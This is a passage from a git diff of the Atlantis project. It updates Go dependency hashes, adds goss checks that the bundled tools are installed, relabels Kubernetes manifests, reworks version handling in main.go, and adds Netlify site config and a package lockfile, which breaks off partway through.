h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= +golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.9.0 h1:jbyannxz0XFD3zdjgrSUsaJbgpH4eTrkdhRChkHPfO8= google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= +google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.3.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= -google.golang.org/appengine v1.6.5 h1:tycE03LOZYQNhDpS27tcQdAzLCVMaj7QT2SXxebnpCM= google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55 h1:gSJIx1SDwno+2ElGhA4+qG2zF97qiUzTM+rQ0klBOcE= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= +google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= +google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= +google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.1 h1:j6XxA85m/6txkUCHvzlV5f+HBNl/1r5cZ2A/3IEFOO8= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.36.1 h1:yBPeRvTftaleIgM3PZ/WBIZ7XM/eEYAaEyCwvyjq/gk= +google.golang.org/protobuf v1.36.1/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/cheggaaa/pb.v1 v1.0.27/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= -gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= -gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/go-playground/assert.v1 v1.2.1 h1:xoYuJVE7KT85PYWrN730RguIQO0ePzVRfFMXadIrXTM= -gopkg.in/go-playground/assert.v1 v1.2.1/go.mod h1:9RXL0bg/zibRAgZUYszZSwO/z8Y/a8bDuhia5mkpMnE= -gopkg.in/go-playground/validator.v9 v9.20.2 h1:6AVDyt8bk0FDiSYSeWivUfzqEjHyVSCMRkpTr6ZCIgk= -gopkg.in/go-playground/validator.v9 v9.20.2/go.mod h1:+c9/zcJMFNgbLvly1L1V+PpxWdVbfP1avr/N00E2vyQ= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= +gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gotest.tools v2.2.0+incompatible h1:VsBPFP1AI068pPrMxtb/S8Zkgf9xEmTLJjfM+P5UIEo= -gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/goss.yaml b/goss.yaml new file mode 100644 index 0000000000..efb4796f42 --- /dev/null +++ b/goss.yaml @@ -0,0 +1,37 @@ +# See: https://github.com/goss-org/goss/blob/master/docs/gossfile.md + +command: + # ensure atlantis is available + atlantis-available: + exec: "atlantis version" + exit-status: 0 + stdout: [] + stderr: [] + + # ensure conftest is available + conftest-available: + exec: "conftest -v" + exit-status: 0 + stdout: [] + stderr: [] + + # ensure git-lfs is available + git-lfs-available: + exec: "git-lfs -v" + exit-status: 0 + stdout: [] + stderr: [] + + # ensure terraform is available + terraform-available: + exec: "terraform version" + exit-status: 0 + stdout: [] + stderr: [] + + # ensure tofu binary is available + tofu-available: + exec: "tofu version" + exit-status: 0 + stdout: [] + stderr: [] diff --git a/kustomize/bundle.yaml b/kustomize/bundle.yaml index 446b91a17d..0fd1cf6026 100644 --- a/kustomize/bundle.yaml +++ b/kustomize/bundle.yaml @@ -12,17 +12,17 @@ spec: partition: 0 selector: matchLabels: - app: atlantis + app.kubernetes.io/name: atlantis template: metadata: labels: - app: atlantis + app.kubernetes.io/name: atlantis spec: securityContext: fsGroup: 1000 # Atlantis group (1000) read/write access to volumes. containers: - name: atlantis - image: runatlantis/atlantis:v0.15.1 + image: ghcr.io/runatlantis/atlantis:latest env: - name: ATLANTIS_DATA_DIR value: /atlantis @@ -79,4 +79,4 @@ spec: port: 80 targetPort: 4141 selector: - app: atlantis + app.kubernetes.io/name: atlantis diff --git a/main.go b/main.go index 69ca50839c..ff6019859c 100644 --- a/main.go +++ b/main.go @@ -3,7 +3,9 @@ // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 +// +// http://www.apache.org/licenses/LICENSE-2.0 +// // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -15,23 +17,46 @@ package main import ( + "fmt" + "github.com/runatlantis/atlantis/cmd" "github.com/runatlantis/atlantis/server/logging" "github.com/spf13/viper" ) -const atlantisVersion = "0.15.1" +// All of this is filled in by goreleaser upon release +// https://goreleaser.com/cookbooks/using-main.version/ +var ( + version = "dev" + commit = "none" + date = "unknown" +) func main() { + v := viper.New() + logger, err := logging.NewStructuredLogger() + + logger.Debug("atlantis %s, commit %s, built at %s\n", version, commit, date) + if err != nil { + panic(fmt.Sprintf("unable to initialize logger. %s", err.Error())) + } + + var sha = commit + if len(commit) >= 7 { + sha = commit[:7] + } + + atlantisVersion := fmt.Sprintf("%s (commit: %s) (build date: %s)", version, sha, date) + // We're creating commands manually here rather than using init() functions // (as recommended by cobra) because it makes testing easier. server := &cmd.ServerCmd{ ServerCreator: &cmd.DefaultServerCreator{}, Viper: v, AtlantisVersion: atlantisVersion, - Logger: logging.NewSimpleLogger("cmd", false, logging.Info), + Logger: logger, } version := &cmd.VersionCmd{AtlantisVersion: atlantisVersion} testdrive := &cmd.TestdriveCmd{} diff --git a/netlify.toml b/netlify.toml new file mode 100644 index 0000000000..f32bbf2065 --- /dev/null +++ b/netlify.toml @@ -0,0 +1,32 @@ +# Netlify Config, https://www.netlify.com/docs/netlify-toml-reference/ +[build] +base = "/" +command = "npm install && npm run website:build" +publish = "runatlantis.io/.vitepress/dist/" + +[[redirects]] +force = true +from = "/guide/getting-started.html" +status = 301 +to = "/guide/" + +[[redirects]] +force = true +from = "/docs/atlantis-yaml-reference.html" +status = 301 +to = "/docs/repo-level-atlantis-yaml.html" + +[[headers]] +for = "/*" +[headers.values] +Cache-Control = "public, max-age=86400" +Referrer-Policy = "no-referrer" +Strict-Transport-Security = "max-age=86400; includeSubDomains; preload" +X-Content-Type-Options = "nosniff" +X-Frame-Options = "DENY" +X-XSS-Protection = "1; mode=block" + +[[headers]] +for = "*.html" +[headers.values] +Content-Type = "text/html; charset=UTF-8" diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000000..63747d6d16 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,6242 @@ +{ + "name": "atlantis", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "license": "Apache-2.0", + "devDependencies": { + "@playwright/test": "1.50.1", + "@types/node": "22.13.4", + "@vueuse/core": "12.7.0", + "markdown-it-footnote": "4.0.0", + "markdownlint-cli": "0.44.0", + "mermaid": "11.4.1", + "sitemap-ts": "1.8.0", + "vite": "6.2.7", + "vitepress": "1.6.3", + "vitepress-plugin-mermaid": "2.0.17", + "vue": "3.5.17" + } + }, + "node_modules/@algolia/autocomplete-core": { + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-core/-/autocomplete-core-1.17.7.tgz", + "integrity": "sha512-BjiPOW6ks90UKl7TwMv7oNQMnzU+t/wk9mgIDi6b1tXpUek7MW0lbNOUHpvam9pe3lVCf4xPFT+lK7s+e+fs7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-plugin-algolia-insights": "1.17.7", + "@algolia/autocomplete-shared": "1.17.7" + } + }, + "node_modules/@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.17.7.tgz", + "integrity": "sha512-Jca5Ude6yUOuyzjnz57og7Et3aXjbwCSDf/8onLHSQgw1qW3ALl9mrMWaXb5FmPVkV3EtkD2F/+NkT6VHyPu9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-shared": "1.17.7" + }, + "peerDependencies": { + "search-insights": ">= 1 < 3" + } + }, + "node_modules/@algolia/autocomplete-preset-algolia": { + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.17.7.tgz", + "integrity": "sha512-ggOQ950+nwbWROq2MOCIL71RE0DdQZsceqrg32UqnhDz8FlO9rL8ONHNsI2R1MH0tkgVIDKI/D0sMiUchsFdWA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-shared": "1.17.7" + }, + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@algolia/autocomplete-shared": { + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-shared/-/autocomplete-shared-1.17.7.tgz", + "integrity": "sha512-o/1Vurr42U/qskRSuhBH+VKxMvkkUVTLU6WZQr+L5lGZZLYWyhdzWjW0iGXY7EkwRTjBqvN2EsR81yCTGV/kmg==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@algolia/client-abtesting": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-abtesting/-/client-abtesting-5.20.3.tgz", + "integrity": "sha512-wPOzHYSsW+H97JkBLmnlOdJSpbb9mIiuNPycUCV5DgzSkJFaI/OFxXfZXAh1gqxK+hf0miKue1C9bltjWljrNA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-analytics": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-analytics/-/client-analytics-5.20.3.tgz", + "integrity": "sha512-XE3iduH9lA7iTQacDGofBQyIyIgaX8qbTRRdj1bOCmfzc9b98CoiMwhNwdTifmmMewmN0EhVF3hP8KjKWwX7Yw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-common": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-common/-/client-common-5.20.3.tgz", + "integrity": 